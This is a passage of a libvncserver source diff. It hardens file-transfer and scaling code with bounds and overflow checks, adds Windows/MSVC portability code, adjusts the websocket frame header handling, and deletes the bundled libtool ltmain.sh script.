+#ifdef WIN32
+ FindClose(findHandle);
+#else
closedir(dirp);
+#endif
return FALSE;
}
}
}
+
+#ifdef WIN32
+ if (FindNextFileA(findHandle, &winFindData) == 0)
+ {
+ FindClose(findHandle);
+ findHandle = INVALID_HANDLE_VALUE;
+ }
+#endif
}
+#ifdef WIN32
+ if (findHandle != INVALID_HANDLE_VALUE)
+ {
+ FindClose(findHandle);
+ }
+#else
closedir(dirp);
+#endif
/* End of the transfer */
return rfbSendFileTransferMessage(cl, rfbDirPacket, 0, 0, 0, NULL);
}
@@ -1566,7 +1671,8 @@
/* add some space to the end of the buffer as we will be adding a timespec to it */
if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE;
/* The client requests a File */
- rfbFilenameTranslate2UNIX(cl, buffer, filename1);
+ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1)))
+ goto fail;
cl->fileTransfer.fd=open(filename1, O_RDONLY, 0744);
/*
@@ -1664,7 +1770,8 @@
p = strrchr(buffer, ',');
if (p!=NULL) {
*p = '\0';
- strcpy(szFileTime, p+1);
+ strncpy(szFileTime, p+1, sizeof(szFileTime));
+ szFileTime[sizeof(szFileTime)-1] = '\x00'; /* ensure NULL terminating byte is present, even if copy overflowed */
} else
szFileTime[0]=0;
@@ -1681,7 +1788,8 @@
}
sizeHtmp = Swap32IfLE(sizeHtmp);
- rfbFilenameTranslate2UNIX(cl, buffer, filename1);
+ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1)))
+ goto fail;
/* If the file exists... We can send a rfbFileChecksums back to the client before we send an rfbFileAcceptHeader */
/* TODO: Delta Transfer */
@@ -1810,7 +1918,8 @@
if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE;
switch (contentParam) {
case rfbCDirCreate: /* Client requests the creation of a directory */
- rfbFilenameTranslate2UNIX(cl, buffer, filename1);
+ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1)))
+ goto fail;
retval = mkdir(filename1, 0755);
if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCDirCreate(\"%s\"->\"%s\") %s\n", buffer, filename1, (retval==-1?"Failed":"Success"));
/*
@@ -1819,7 +1928,8 @@
if (buffer!=NULL) free(buffer);
return retval;
case rfbCFileDelete: /* Client requests the deletion of a file */
- rfbFilenameTranslate2UNIX(cl, buffer, filename1);
+ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1)))
+ goto fail;
if (stat(filename1,&statbuf)==0)
{
if (S_ISDIR(statbuf.st_mode))
@@ -1837,8 +1947,10 @@
{
/* Split into 2 filenames ('*' is a seperator) */
*p = '\0';
- rfbFilenameTranslate2UNIX(cl, buffer, filename1);
- rfbFilenameTranslate2UNIX(cl, p+1, filename2);
+ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1)))
+ goto fail;
+ if (!rfbFilenameTranslate2UNIX(cl, p+1, filename2, sizeof(filename2)))
+ goto fail;
retval = rename(filename1,filename2);
if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCFileRename(\"%s\"->\"%s\" -->> \"%s\"->\"%s\") %s\n", buffer, filename1, p+1, filename2, (retval==-1?"Failed":"Success"));
/*
@@ -1858,6 +1970,10 @@
/* NOTE: don't forget to free(buffer) if you return early! */
if (buffer!=NULL) free(buffer);
return TRUE;
+
+fail:
+ if (buffer!=NULL) free(buffer);
+ return FALSE;
}
/*
@@ -2457,6 +2573,11 @@
msg.cct.length = Swap32IfLE(msg.cct.length);
str = (char *)malloc(msg.cct.length);
+ if (str == NULL) {
+ rfbLogPerror("rfbProcessClientNormalMessage: not enough memory");
+ rfbCloseClient(cl);
+ return;
+ }
if ((n = rfbReadExact(cl, str, msg.cct.length)) <= 0) {
if (n != 0)
@@ -2482,6 +2603,13 @@
rfbCloseClient(cl);
return;
}
+
+ if (msg.ssc.scale == 0) {
+ rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
+ rfbCloseClient(cl);
+ return;
+ }
+
rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
@@ -2498,6 +2626,13 @@
rfbCloseClient(cl);
return;
}
+
+ if (msg.ssc.scale == 0) {
+ rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
+ rfbCloseClient(cl);
+ return;
+ }
+
rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
diff --git a/libvncserver/scale.c b/libvncserver/scale.c
index 6f91391..d11db40 100644
--- a/libvncserver/scale.c
+++ b/libvncserver/scale.c
@@ -66,6 +66,12 @@
(double) ((int) (x)) : (double) ((int) (x) + 1) )
#define FLOOR(x) ( (double) ((int) (x)) )
+static inline int pad4(int value)
+{
+ int remainder = value & 3;
+ if (!remainder) return value;
+ return value + 4 - remainder;
+}
int ScaleX(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int x)
{
@@ -281,14 +287,29 @@
ptr = malloc(sizeof(rfbScreenInfo));
if (ptr!=NULL)
{
+ int allocSize;
+
/* copy *everything* (we don't use most of it, but just in case) */
memcpy(ptr, cl->screen, sizeof(rfbScreenInfo));
+
+ /* SECURITY: make sure that no integer overflow will occur afterwards.
+ * Note: this is defensive coding, as the check should have already been
+ * performed during initial, non-scaled screen setup.
+ */
+ allocSize = pad4(width * (ptr->bitsPerPixel/8)); /* per protocol, width<2**16 and bpp<256 */
+ if (height == 0 || allocSize >= SIZE_MAX / height)
+ {
+ free(ptr);
+ return NULL; /* malloc() will allocate an incorrect buffer size - early abort */
+ }
+
+ /* Resume copy everything */
ptr->width = width;
ptr->height = height;
ptr->paddedWidthInBytes = (ptr->bitsPerPixel/8)*ptr->width;
/* Need to by multiples of 4 for Sparc systems */
- ptr->paddedWidthInBytes += (ptr->paddedWidthInBytes % 4);
+ ptr->paddedWidthInBytes = pad4(ptr->paddedWidthInBytes);
/* Reset the reference count to 0! */
ptr->scaledScreenRefCount = 0;
@@ -392,7 +413,6 @@
if (rfbWriteExact(cl, (char *)&pmsg, sz_rfbPalmVNCReSizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
- rfbClientConnectionGone(cl);
return FALSE;
}
}
@@ -407,7 +427,6 @@
if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
- rfbClientConnectionGone(cl);
return FALSE;
}
}
diff --git a/libvncserver/selbox.c b/libvncserver/selbox.c
index bbc6d52..ab84390 100644
--- a/libvncserver/selbox.c
+++ b/libvncserver/selbox.c
@@ -235,7 +235,7 @@
i = rfbWidthOfString(font,okStr);
j = rfbWidthOfString(font,cancelStr);
- selData.buttonWidth= k = 4*border+(i<j)?j:i;
+ selData.buttonWidth= k = 4*border+(i<j?j:i);
selData.okBX = x1+(x2-x1-2*k)/3;
if(selData.okBX<x1+border) /* too narrow! */
return(-1);
diff --git a/libvncserver/sockets.c b/libvncserver/sockets.c
index 84c9c98..a9c5a2c 100644
--- a/libvncserver/sockets.c
+++ b/libvncserver/sockets.c
@@ -4,8 +4,9 @@
* This code should be independent of any changes in the RFB protocol. It just
* deals with the X server scheduling stuff, calling rfbNewClientConnection and
* rfbProcessClientMessage to actually deal with the protocol. If a socket
- * needs to be closed for any reason then rfbCloseClient should be called, and
- * this in turn will call rfbClientConnectionGone. To make an active
+ * needs to be closed for any reason then rfbCloseClient should be called. In turn,
+ * rfbClientConnectionGone will be called by rfbProcessEvents (non-threaded case)
+ * or clientInput (threaded case) in main.c. To make an active
* connection out, call rfbConnect - note that this does _not_ call
* rfbNewClientConnection.
*
@@ -41,6 +42,15 @@
* USA.
*/
+#ifdef __STRICT_ANSI__
+#define _BSD_SOURCE
+#ifdef __linux__
+/* Setting this on other systems hides definitions such as INADDR_LOOPBACK.
+ * The check should be for __GLIBC__ in fact. */
+# define _POSIX_SOURCE
+#endif
+#endif
+
#include <rfb/rfb.h>
#ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H
@@ -89,6 +99,8 @@
#endif
#if defined(WIN32)
+#include <winsock2.h>
+#include <ws2tcpip.h>
#ifndef __MINGW32__
#pragma warning (disable: 4018 4761)
#endif
@@ -100,6 +112,13 @@
#define closesocket close
#endif
+#ifdef _MSC_VER
+#define SHUT_RD 0x00
+#define SHUT_WR 0x01
+#define SHUT_RDWR 0x02
+#define snprintf _snprintf /* Missing in MSVC */
+#endif
+
int rfbMaxClientWait = 20000; /* time (ms) after which we decide client has
gone away - needed to stop us hanging */
@@ -113,8 +132,9 @@
{
in_addr_t iface = rfbScreen->listenInterface;
- if (rfbScreen->socketState!=RFB_SOCKET_INIT)
- return;
+ if (rfbScreen->socketState == RFB_SOCKET_READY) {
+ return;
+ }
rfbScreen->socketState = RFB_SOCKET_READY;
@@ -176,7 +196,9 @@
rfbScreen->maxFd = max((int)rfbScreen->listen6Sock,rfbScreen->maxFd);
#endif
}
- else if(rfbScreen->port>0) {
+ else
+ {
+ if(rfbScreen->port>0) {
FD_ZERO(&(rfbScreen->allFds));
if ((rfbScreen->listenSock = rfbListenOnTCPPort(rfbScreen->port, iface)) < 0) {
@@ -187,8 +209,10 @@
FD_SET(rfbScreen->listenSock, &(rfbScreen->allFds));
rfbScreen->maxFd = rfbScreen->listenSock;
+ }
#ifdef LIBVNCSERVER_IPv6
+ if (rfbScreen->ipv6port>0) {
if ((rfbScreen->listen6Sock = rfbListenOnTCP6Port(rfbScreen->ipv6port, rfbScreen->listen6Interface)) < 0) {
/* ListenOnTCP6Port has its own detailed error printout */
return;
@@ -197,6 +221,7 @@
FD_SET(rfbScreen->listen6Sock, &(rfbScreen->allFds));
rfbScreen->maxFd = max((int)rfbScreen->listen6Sock,rfbScreen->maxFd);
+ }
#endif
}
@@ -402,9 +427,9 @@
rfbLogPerror("rfbProcessNewConnection: error in select");
return FALSE;
}
- if (FD_ISSET(rfbScreen->listenSock, &listen_fds))
+ if (rfbScreen->listenSock >= 0 && FD_ISSET(rfbScreen->listenSock, &listen_fds))
chosen_listen_sock = rfbScreen->listenSock;
- if (FD_ISSET(rfbScreen->listen6Sock, &listen_fds))
+ if (rfbScreen->listen6Sock >= 0 && FD_ISSET(rfbScreen->listen6Sock, &listen_fds))
chosen_listen_sock = rfbScreen->listen6Sock;
if ((sock = accept(chosen_listen_sock,
@@ -436,11 +461,13 @@
#endif
#ifdef LIBVNCSERVER_IPv6
- char host[1024];
- if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) {
- rfbLogPerror("rfbProcessNewConnection: error in getnameinfo");
+ {
+ char host[1024];
+ if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) {
+ rfbLogPerror("rfbProcessNewConnection: error in getnameinfo");
+ }
+ rfbLog("Got connection from client %s\n", host);
}
- rfbLog("Got connection from client %s\n", host);
#else
rfbLog("Got connection from client %s\n", inet_ntoa(addr.sin_addr));
#endif
diff --git a/libvncserver/stats.c b/libvncserver/stats.c
index 39de1c6..b99da01 100644
--- a/libvncserver/stats.c
+++ b/libvncserver/stats.c
@@ -26,6 +26,10 @@
#include <rfb/rfb.h>
+#ifdef _MSC_VER
+#define snprintf _snprintf /* Missing in MSVC */
+#endif
+
char *messageNameServer2Client(uint32_t type, char *buf, int len);
char *messageNameClient2Server(uint32_t type, char *buf, int len);
char *encodingName(uint32_t enc, char *buf, int len);
diff --git a/libvncserver/tableinit24.c b/libvncserver/tableinit24.c
index 8a60eb7..39e9920 100644
--- a/libvncserver/tableinit24.c
+++ b/libvncserver/tableinit24.c
@@ -1,4 +1,8 @@
/*
+ 24 bit
+ */
+
+/*
* OSXvnc Copyright (C) 2001 Dan McGuirk <mcguirk@incompleteness.net>.
* Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge.
* All Rights Reserved.
diff --git a/libvncserver/tight.c b/libvncserver/tight.c
index 6d5bcbb..276a2e3 100644
--- a/libvncserver/tight.c
+++ b/libvncserver/tight.c
@@ -81,10 +81,10 @@
} TIGHT_CONF;
static TIGHT_CONF tightConf[4] = {
- { 65536, 2048, 6, 0, 0, 0, 4, 24 }, // 0 (used only without JPEG)
- { 65536, 2048, 32, 1, 1, 1, 96, 24 }, // 1
- { 65536, 2048, 32, 3, 3, 2, 96, 96 }, // 2 (used only with JPEG)
- { 65536, 2048, 32, 7, 7, 5, 96, 256 } // 9
+ { 65536, 2048, 6, 0, 0, 0, 4, 24 }, /* 0 (used only without JPEG) */
+ { 65536, 2048, 32, 1, 1, 1, 96, 24 }, /* 1 */
+ { 65536, 2048, 32, 3, 3, 2, 96, 96 }, /* 2 (used only with JPEG) */
+ { 65536, 2048, 32, 7, 7, 5, 96, 256 } /* 9 */
};
#ifdef LIBVNCSERVER_HAVE_LIBPNG
diff --git a/libvncserver/tightvnc-filetransfer/filetransfermsg.c b/libvncserver/tightvnc-filetransfer/filetransfermsg.c
index a0d7a5e..88fbe9a 100644
--- a/libvncserver/tightvnc-filetransfer/filetransfermsg.c
+++ b/libvncserver/tightvnc-filetransfer/filetransfermsg.c
@@ -27,8 +27,34 @@
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
+
+#ifdef WIN32
+#include <io.h>
+#include <direct.h>
+#include <sys/utime.h>
+#ifdef _MSC_VER
+#define S_ISREG(m) (((m) & _S_IFMT) == _S_IFREG)
+#define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR)
+#define S_IWUSR S_IWRITE
+#define S_IRUSR S_IREAD
+#define S_IWOTH 0x0000002
+#define S_IROTH 0x0000004
+#define S_IWGRP 0x0000010
+#define S_IRGRP 0x0000020
+#define mkdir(path, perms) _mkdir(path) /* Match POSIX signature */
+/* Prevent POSIX deprecation warnings on MSVC */
+#define creat _creat
+#define open _open
+#define read _read
+#define write _write
+#define close _close
+#define unlink _unlink
+#endif /* _MSC_VER */
+#else
#include <dirent.h>
#include <utime.h>
+#endif
+
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
@@ -100,17 +126,140 @@
return fileListMsg;
}
-#ifndef __GNUC__
+#if !defined(__GNUC__) && !defined(_MSC_VER)
#define __FUNCTION__ "unknown"
#endif
+#ifdef WIN32
+
+/* Most of the Windows version here is based on https://github.com/danielgindi/FileDir */
+
+#define FILETIME_TO_TIME_T(FILETIME) (((((__int64)FILETIME.dwLowDateTime) | (((__int64)FILETIME.dwHighDateTime) << 32)) - 116444736000000000L) / 10000000L)
+
+#ifdef FILE_ATTRIBUTE_INTEGRITY_STREAM
+#define IS_REGULAR_FILE_HAS_ATTRIBUTE_INTEGRITY_STREAM(dwFileAttributes) (!!(dwFileAttributes & FILE_ATTRIBUTE_INTEGRITY_STREAM))
+#else
+#define IS_REGULAR_FILE_HAS_ATTRIBUTE_INTEGRITY_STREAM(dwFileAttributes) 0
+#endif
+
+#ifdef FILE_ATTRIBUTE_NO_SCRUB_DATA
+#define IS_REGULAR_FILE_HAS_ATTRIBUTE_NO_SCRUB_DATA(dwFileAttributes) (!!(dwFileAttributes & FILE_ATTRIBUTE_NO_SCRUB_DATA))
+#else
+#define IS_REGULAR_FILE_HAS_ATTRIBUTE_NO_SCRUB_DATA(dwFileAttributes) 0
+#endif
+
+#define IS_REGULAR_FILE(dwFileAttributes) \
+ ( \
+ !!(dwFileAttributes & FILE_ATTRIBUTE_NORMAL) || \
+ ( \
+ !(dwFileAttributes & FILE_ATTRIBUTE_DEVICE) && \
+ !(dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && \
+ !(dwFileAttributes & FILE_ATTRIBUTE_ENCRYPTED) && \
+ !IS_REGULAR_FILE_HAS_ATTRIBUTE_INTEGRITY_STREAM(dwFileAttributes) && \
+ !IS_REGULAR_FILE_HAS_ATTRIBUTE_NO_SCRUB_DATA(dwFileAttributes) && \
+ !(dwFileAttributes & FILE_ATTRIBUTE_OFFLINE) && \
+ !(dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY) \
+ ) \
+ )
+
+#define IS_FOLDER(dwFileAttributes) (!!(dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
+
+int
+CreateFileListInfo(FileListInfoPtr pFileListInfo, char* path, int flag)
+{
+ int pathLen, basePathLength;
+ char *basePath, *pChar;
+ WIN32_FIND_DATAA winFindData;
+ HANDLE findHandle;
+
+ if(path == NULL) {
+ return FAILURE;
+ }
+
+ if(strlen(path) == 0) {
+ /* In this case we will send the list of entries in ftp root*/
+ sprintf(path, "%s%s", GetFtpRoot(), "/");
+ }
+
+ /* Create a search string, like C:\folder\* */
+
+ pathLen = strlen(path);
+ basePath = malloc(pathLen + 3);
+ memcpy(basePath, path, pathLen);
+ basePathLength = pathLen;
+ basePath[basePathLength] = '\\';
+ basePath[basePathLength + 1] = '*';
+ basePath[basePathLength + 2] = '\0';
+
+ /* Start a search */
+ memset(&winFindData, 0, sizeof(winFindData));
+ findHandle = FindFirstFileA(path, &winFindData);
+
+ basePath[basePathLength] = '\0'; /* Restore to a basePath + \ */
+ /* Convert \ to / */
+ for(pChar = basePath; *pChar; pChar++) {
+ if (*pChar == '\\') {
+ *pChar = '/';
+ }
+ }
+
+ /* While we can find a next file do...
+ But ignore \. and '.. entries, which are current folder and parent folder respectively */
+ while(findHandle != INVALID_HANDLE_VALUE && winFindData.cFileName[0] == '.' &&
+ (winFindData.cFileName[1] == '\0' ||
+ (winFindData.cFileName[1] == '.' && winFindData.cFileName[2] == '\0'))) {
+ char fullpath[PATH_MAX];
+ fullpath[0] = 0;
+
+ strncpy_s(fullpath, PATH_MAX, basePath, basePathLength);
+ strncpy_s(fullpath + basePathLength, PATH_MAX - basePathLength, winFindData.cFileName, (int)strlen(winFindData.cFileName));
+
+ if(IS_FOLDER(winFindData.dwFileAttributes)) {
+ if (AddFileListItemInfo(pFileListInfo, winFindData.cFileName, -1, 0) == 0) {
+ rfbLog("File [%s]: Method [%s]: Add directory %s in the"
+ " list failed\n", __FILE__, __FUNCTION__, fullpath);
+ continue;
+ }
+ }
+ else if(IS_REGULAR_FILE(winFindData.dwFileAttributes)) {
+ if(flag) {
+ unsigned int fileSize = (winFindData.nFileSizeHigh * (MAXDWORD+1)) + winFindData.nFileSizeLow;
+ if(AddFileListItemInfo(pFileListInfo, winFindData.cFileName, fileSize, FILETIME_TO_TIME_T(winFindData.ftLastWriteTime)) == 0) {
+ rfbLog("File [%s]: Method [%s]: Add file %s in the "
+ "list failed\n", __FILE__, __FUNCTION__, fullpath);
+ continue;
+ }
+ }
+ }
+
+ if(FindNextFileA(findHandle, &winFindData) == 0) {
+ FindClose(findHandle);
+ findHandle = INVALID_HANDLE_VALUE;
+ }
+ }
+
+ if(findHandle != INVALID_HANDLE_VALUE) {
+ FindClose(findHandle);
+ }
+
+ free(basePath);
+
+ return SUCCESS;
+}
+
+#else /* WIN32 */
+
int
CreateFileListInfo(FileListInfoPtr pFileListInfo, char* path, int flag)
{
DIR* pDir = NULL;
struct dirent* pDirent = NULL;
-
- if((path == NULL) || (strlen(path) == 0)) {
+
+ if(path == NULL) {
+ return FAILURE;
+ }
+
+ if(strlen(path) == 0) {
/* In this case we will send the list of entries in ftp root*/
sprintf(path, "%s%s", GetFtpRoot(), "/");
}
@@ -170,6 +319,8 @@
return SUCCESS;
}
+#endif
+
FileTransferMsg
CreateFileListErrMsg(char flags)
@@ -623,6 +774,10 @@
* Method to handle create directory request.
******************************************************************************/
+#ifdef _MSC_VER
+#undef CreateDirectory /* Prevent macro clashes under Windows */
+#endif /* _MSC_VER */
+
void
CreateDirectory(char* dirName)
{
@@ -633,4 +788,3 @@
__FILE__, __FUNCTION__, dirName);
}
}
-
diff --git a/libvncserver/tightvnc-filetransfer/filetransfermsg.h b/libvncserver/tightvnc-filetransfer/filetransfermsg.h
index 30e58df..3b27bd0 100644
--- a/libvncserver/tightvnc-filetransfer/filetransfermsg.h
+++ b/libvncserver/tightvnc-filetransfer/filetransfermsg.h
@@ -26,6 +26,11 @@
#ifndef FILE_TRANSFER_MSG_H
#define FILE_TRANSFER_MSG_H
+#ifdef _MSC_VER
+#pragma push_macro("CreateDirectory")
+#undef CreateDirectory /* Prevent macro clashes under Windows */
+#endif /* _MSC_VER */
+
typedef struct _FileTransferMsg {
char* data;
unsigned int length;
@@ -50,5 +55,9 @@
void FreeFileTransferMsg(FileTransferMsg ftm);
+#ifdef _MSC_VER
+# pragma pop_macro("CreateDirectory") /* Restore original macro */
+#endif /* _MSC_VER */
+
#endif
diff --git a/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c b/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c
index 2bd5ba1..431912e 100644
--- a/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c
+++ b/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c
@@ -22,13 +22,18 @@
* Date : 14th July 2005
*/
+#ifndef _MSC_VER
#include <pwd.h>
+#endif /* _MSC_VER */
+
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
+#ifndef _MSC_VER
#include <dirent.h>
#include <pthread.h>
+#endif /* _MSC_VER */
#include <sys/stat.h>
#include <sys/types.h>
#include <limits.h>
diff --git a/libvncserver/websockets.c b/libvncserver/websockets.c
index 8cd96d3..34f04d7 100644
--- a/libvncserver/websockets.c
+++ b/libvncserver/websockets.c
@@ -26,30 +26,39 @@
* USA.
*/
+#ifdef __STRICT_ANSI__
+#define _BSD_SOURCE
+#endif
+
#include <rfb/rfb.h>
-#include <resolv.h> /* __b64_ntop */
/* errno */
#include <errno.h>
-#include <byteswap.h>
+#ifndef _MSC_VER
+#include <resolv.h> /* __b64_ntop */
+#endif
+
+#ifdef LIBVNCSERVER_HAVE_ENDIAN_H
+#include <endian.h>
+#elif LIBVNCSERVER_HAVE_SYS_ENDIAN_H
+#include <sys/endian.h>
+#endif
+
+#ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H
+#include <sys/types.h>
+#endif
+
#include <string.h>
-#include "rfbconfig.h"
+#include <unistd.h>
+#include "rfb/rfbconfig.h"
#include "rfbssl.h"
#include "rfbcrypto.h"
-#if defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && __BYTE_ORDER == __BIG_ENDIAN
-#define WS_NTOH64(n) (n)
-#define WS_NTOH32(n) (n)
-#define WS_NTOH16(n) (n)
-#define WS_HTON64(n) (n)
-#define WS_HTON16(n) (n)
-#else
-#define WS_NTOH64(n) bswap_64(n)
-#define WS_NTOH32(n) bswap_32(n)
-#define WS_NTOH16(n) bswap_16(n)
-#define WS_HTON64(n) bswap_64(n)
-#define WS_HTON16(n) bswap_16(n)
-#endif
+#define WS_NTOH64(n) htobe64(n)
+#define WS_NTOH32(n) htobe32(n)
+#define WS_NTOH16(n) htobe16(n)
+#define WS_HTON64(n) htobe64(n)
+#define WS_HTON16(n) htobe16(n)
#define B64LEN(__x) (((__x + 2) / 3) * 12 / 3)
#define WSHLENMAX 14 /* 2 + sizeof(uint64_t) + sizeof(uint32_t) */
@@ -88,6 +97,11 @@
uint32_t u;
} ws_mask_t;
+/* XXX: The union and the structs do not need to be named.
+ * We are working around a bug present in GCC < 4.6 which prevented
+ * it from recognizing anonymous structs and unions.
+ * See http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
+ */
typedef struct __attribute__ ((__packed__)) ws_header_s {
unsigned char b0;
unsigned char b1;
@@ -95,13 +109,13 @@
struct __attribute__ ((__packed__)) {
uint16_t l16;
ws_mask_t m16;
- };
+ } s16;
struct __attribute__ ((__packed__)) {
uint64_t l64;
ws_mask_t m64;
- };
+ } s64;
ws_mask_t m;
- };
+ } u;
} ws_header_t;
enum
@@ -625,7 +639,7 @@
int flength, fhlen;
/* int fin; */ /* not used atm */
- // rfbLog(" <== %s[%d]: %d cl: %p, wsctx: %p-%p (%d)\n", __func__, gettid(), len, cl, wsctx, (char *)wsctx + sizeof(ws_ctx_t), sizeof(ws_ctx_t));
+ /* rfbLog(" <== %s[%d]: %d cl: %p, wsctx: %p-%p (%d)\n", __func__, gettid(), len, cl, wsctx, (char *)wsctx + sizeof(ws_ctx_t), sizeof(ws_ctx_t)); */
if (wsctx->readbuflen) {
/* simply return what we have */
@@ -680,15 +694,15 @@
if (flength < 126) {
fhlen = 2;
- mask = header->m;
+ mask = header->u.m;
} else if (flength == 126 && 4 <= ret) {
- flength = WS_NTOH16(header->l16);
+ flength = WS_NTOH16(header->u.s16.l16);
fhlen = 4;
- mask = header->m16;
+ mask = header->u.s16.m16;
} else if (flength == 127 && 10 <= ret) {
- flength = WS_NTOH64(header->l64);
+ flength = WS_NTOH64(header->u.s64.l64);
fhlen = 10;
- mask = header->m64;
+ mask = header->u.s64.m64;
} else {
/* Incomplete frame header */
rfbErr("%s: incomplete frame header\n", __func__, ret);
@@ -783,6 +797,7 @@
/* calculate the resulting size */
blen = B64LEN(len);
} else {
+ opcode = WS_OPCODE_BINARY_FRAME;
blen = len;
}
@@ -792,11 +807,11 @@
sz = 2;
} else if (blen <= 65536) {
header->b1 = 0x7e;
- header->l16 = WS_HTON16((uint16_t)blen);
+ header->u.s16.l16 = WS_HTON16((uint16_t)blen);
sz = 4;
} else {
header->b1 = 0x7f;
- header->l64 = WS_HTON64(blen);
+ header->u.s64.l64 = WS_HTON64(blen);
sz = 10;
}
diff --git a/ltmain.sh b/ltmain.sh
deleted file mode 100644
index 06823e0..0000000
--- a/ltmain.sh
+++ /dev/null
@@ -1,6863 +0,0 @@
-# ltmain.sh - Provide generalized library-building support services.
-# NOTE: Changing this file will not affect anything until you rerun configure.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005
-# Free Software Foundation, Inc.
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-basename="s,^.*/,,g"
-
-# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
-# is ksh but when the shell is invoked as "sh" and the current value of
-# the _XPG environment variable is not equal to 1 (one), the special
-# positional parameter $0, within a function call, is the name of the
-# function.
-progpath="$0"
-
-# The name of this program:
-progname=`echo "$progpath" | $SED $basename`
-modename="$progname"
-
-# Global variables:
-EXIT_SUCCESS=0
-EXIT_FAILURE=1
-
-PROGRAM=ltmain.sh
-PACKAGE=libtool
-VERSION=1.5.22
-TIMESTAMP=" (1.1220.2.365 2005/12/18 22:14:06)"
-
-# See if we are running on zsh, and set the options which allow our
-# commands through without removal of \ escapes.
-if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
-fi
-
-# Check that we have a working $echo.
-if test "X$1" = X--no-reexec; then
- # Discard the --no-reexec flag, and continue.
- shift
-elif test "X$1" = X--fallback-echo; then
- # Avoid inline document here, it may be left over
- :
-elif test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then
- # Yippee, $echo works!
- :
-else
- # Restart under the correct shell, and then maybe $echo will work.
- exec $SHELL "$progpath" --no-reexec ${1+"$@"}
-fi
-
-if test "X$1" = X--fallback-echo; then
- # used as fallback echo
- shift
- cat <<EOF
-$*
-EOF
- exit $EXIT_SUCCESS
-fi
-
-default_mode=
-help="Try \`$progname --help' for more information."
-magic="%%%MAGIC variable%%%"
-mkdir="mkdir"
-mv="mv -f"
-rm="rm -f"
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed="${SED}"' -e 1s/^X//'
-sed_quote_subst='s/\([\\`\\"$\\\\]\)/\\\1/g'
-# test EBCDIC or ASCII
-case `echo X|tr X '\101'` in
- A) # ASCII based system
- # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr
- SP2NL='tr \040 \012'
- NL2SP='tr \015\012 \040\040'
- ;;
- *) # EBCDIC based system
- SP2NL='tr \100 \n'
- NL2SP='tr \r\n \100\100'
- ;;
-esac
-
-# NLS nuisances.
-# Only set LANG and LC_ALL to C if already set.
-# These must not be set unconditionally because not all systems understand
-# e.g. LANG=C (notably SCO).
-# We save the old values to restore during execute mode.
-if test "${LC_ALL+set}" = set; then
- save_LC_ALL="$LC_ALL"; LC_ALL=C; export LC_ALL
-fi
-if test "${LANG+set}" = set; then
- save_LANG="$LANG"; LANG=C; export LANG
-fi
-
-# Make sure IFS has a sensible default
-lt_nl='
-'
-IFS=" $lt_nl"
-
-if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
- $echo "$modename: not configured to build any kind of library" 1>&2
- $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2
